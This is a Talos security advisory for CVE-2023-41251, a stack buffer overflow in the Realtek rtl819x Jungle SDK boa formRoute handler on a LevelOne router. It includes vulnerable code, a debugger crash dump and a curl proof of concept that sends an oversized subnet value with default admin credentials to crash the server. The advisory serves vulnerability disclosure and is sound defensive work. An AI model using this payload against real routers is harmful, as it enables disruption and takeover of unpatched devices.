Talos Vulnerability Report

TALOS-2023-1894

Realtek rtl819x Jungle SDK boa formRoute stack-based buffer overflow vulnerability

July 8, 2024
CVE Number

CVE-2023-41251

SUMMARY

A stack-based buffer overflow vulnerability exists in the boa formRoute functionality of Realtek rtl819x Jungle SDK v3.4.11. A specially crafted series of HTTP requests can lead to remote code execution. An attacker can send an HTTP request to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

LevelOne WBR-6013 RER4_A_v3411b_2T2R_LEV_09_170623
Realtek rtl819x Jungle SDK v3.4.11

PRODUCT URLS

rtl819x Jungle SDK - https://www.realtek.com/en/ WBR-6013 - https://www.level1.com/level1_en/wbr-6013-n300-wireless-router-54069103

CVSSv3 SCORE

7.2 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-121 - Stack-based Buffer Overflow

DETAILS

The rtl819x Jungle SDK is an SDK for routers. This SDK uses as web server boa.

This Realtek rtl819x Jungle SDK vulnerability was found while researching the Levelone WBR-6013 router. We are going to explain this vulnerability from the perspective of the WBR-6013 router.

The WBR-6013 router has a web server called boa. The version used in the device is that of a Realtek SDK that uses boa. One of the SDK’s API is /boafrm/formRoute. This API allows modifications of some parameters related with routing. The function responsible for this API is boa’s formRoute:

void formRoute(request *wp, char *path, char *query)
{
    [...]
    char tmpBuf[100];
    [...]

    strAddRoute = req_get_cstream_var(wp, ("addRoute"), "");
    [...]
    if (strAddRoute[0]) {
        [...]

        strIp = req_get_cstream_var(wp, ("ipAddr"), "");
[1]     strMask= req_get_cstream_var(wp, ("subnet"), "");
        strGateway= req_get_cstream_var(wp, ("gateway"), "");
        strInterface=req_get_cstream_var(wp, ("iface"), "");
        strMetric=req_get_cstream_var(wp, ("metric"), "");
        if (!strIp[0] && !strMask[0] && !strGateway[0])
            goto setOk_route;
        [...]
        inet_aton(strIp,(struct in_addr *)&entry.dstAddr);
[2]     inet_aton(strMask, (struct in_addr *)&entry.netmask);
        inet_aton(strGateway, (struct in_addr *)&entry.gateway);
        entry.metric=(unsigned char)atoi(strMetric);
        memcpy((void *)&v1, (void *)entry.dstAddr, 4);
        memcpy((void *)&v2, (void *)entry.netmask, 4);
        v2 = ~ntohl(v2);
[3]     if (v2 & (v2 + 1)) {
[4]         sprintf(tmpBuf, "\"Invalid Netmask: %s \"", strMask);
            goto setErr_route;
        }
        [...]
    }
    [...]
}

The function will start by fetching the addRoute request’s parameter. If this parameter is set, the portions of code that are of interest for this report will be reached. At [1] the subnet request’s parameter is fetched and used at [2] to convert the IP dotted string (the content of the subnet request’s parameter) to its binary form. The binary form is then stored in the entry.netmask variable. At [3] the binary form of the IP is checked against the v2 & (v2 + 1) expression. This check uses v2, the host byte order of entry.netmask. This checks if in the subnet value is at least a 0 bit in between two groups of 1 bits (e.g., 1111101000). This is to determine if a netmask is valid or not. If the netmask provided through the subnet request’s parameter is invalid, the code at [4] is reached and the string "Invalid Netmask: <subnet> " is composed.

Because no checks are performed on the size of the subnet request’s parameter string, a buffer overflow can occur at [4] in the stack buffer tmpBuf. An attacker could exploit this vulnerability to achieve arbitrary code execution.

Crash Information

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$zero: 0x00000000  →  0x00000000
$at  : 0xfffffff8  →  0xfffffff8
$v0  : 0x00000083  →  0x00000083
$v1  : 0x000009ac  →  0x000009ac
$a0  : 0x004c5e52  →  0x6d626572  →  0x6d626572 ("mber"?)
$a1  : 0x407ffbbf  →  0x00414141  →  0x02ffff02  →  0x02ffff02
$a2  : 0x00000000  →  0x00000000
$a3  : 0x00000000  →  0x00000000
$t0  : 0x0000003e  →  0x0000003e
$t1  : 0xbf8004c4  →  0xbf8004c4
$t2  : 0x3c2f626c  →  0x3c2f626c ("</bl"?)
$t3  : 0x6f636b71  →  0x6f636b71 ("ockq"?)
$t4  : 0x756f7465  →  0x756f7465 ("uote"?)
$t5  : 0x3e3c2f62  →  0x3e3c2f62 ("></b"?)
$t6  : 0x6f64793e  →  0x6f64793e ("ody>"?)
$t7  : 0x004b0000  →  0x004b0000
$s0  : 0x41414141  →  0x41414141 ("AAAA"?)
$s1  : 0x41414141  →  0x41414141 ("AAAA"?)
$s2  : 0x41414141  →  0x41414141 ("AAAA"?)
$s3  : 0x41414141  →  0x41414141 ("AAAA"?)
$s4  : 0x41414141  →  0x41414141 ("AAAA"?)
$s5  : 0x41414141  →  0x41414141 ("AAAA"?)
$s6  : 0x41414141  →  0x41414141 ("AAAA"?)
$s7  : 0x41414141  →  0x41414141 ("AAAA"?)
$t8  : 0x004b56c0  →  0x3ff44400  →  0x28c80008  →  0x28c80008
$t9  : 0x3ff44400  →  0x28c80008  →  0x28c80008
$k0  : 0x00000000  →  0x00000000
$k1  : 0x00000000  →  0x00000000
$s8  : 0x41414141  →  0x41414141 ("AAAA"?)
$pc  : 0x41414141  →  0x41414141 ("AAAA"?)
$sp  : 0x408004e0  →  0x41414141  →  0x41414141 ("AAAA"?)
$hi  : 0x0000000f  →  0x0000000f
$lo  : 0x00000000  →  0x00000000
$fir : 0x00739300  →  0x00739300
$ra  : 0x41414141  →  0x41414141 ("AAAA"?)
$gp  : 0x3ff875c0  →  0x6c5f636f  →  0x6c5f636f ("l_co"?)
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x408004e0│+0x0000: 0x41414141  →  0x41414141	 ← $sp
0x408004e4│+0x0004: 0x41414141  →  0x41414141
0x408004e8│+0x0008: 0x41414141  →  0x41414141
0x408004ec│+0x000c: 0x41414141  →  0x41414141
0x408004f0│+0x0010: 0x41414141  →  0x41414141
0x408004f4│+0x0014: 0x41414141  →  0x41414141
0x408004f8│+0x0018: 0x41414141  →  0x41414141
0x408004fc│+0x001c: 0x41414141  →  0x41414141
──────────────────────────────────────────────────────────────────────────────────────────────────────── code:mips:MIPS32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x41414140
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, stopped 0x41414141 in ?? (), reason: SIGSEGV

Exploit Proof of Concept

To use a specific API of the web server, because of a CSRF protection mechanism, it is necessary to load the HTML page that would call that API:

curl --user admin:admin http://<DEVICE_IP>/route.htm &>/dev/null

After this request it is possible to use the /boafrm/formRoute API:

curl -d "addRoute=1&submit-url=POC&subnet=200.200.200.200 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" -X POST -H "Content-Type: application/x-www-form-urlencoded" --user admin:admin http://<DEVICE_IP>/boafrm/formRoute

After the request the boa process will crash. The POC uses the default admin credentials.

VENDOR RESPONSE

Realtek has provided updates software to their customers. LevelOne has declined to patch the issues in their software.

TIMELINE

2023-12-14 - Initial Vendor Contact
2023-12-22 - Vendor Disclosure
2024-05-20 - Vendor Patch Release
2024-07-08 - Public Release

Credit

Discovered by Francesco Benvenuto of Cisco Talos.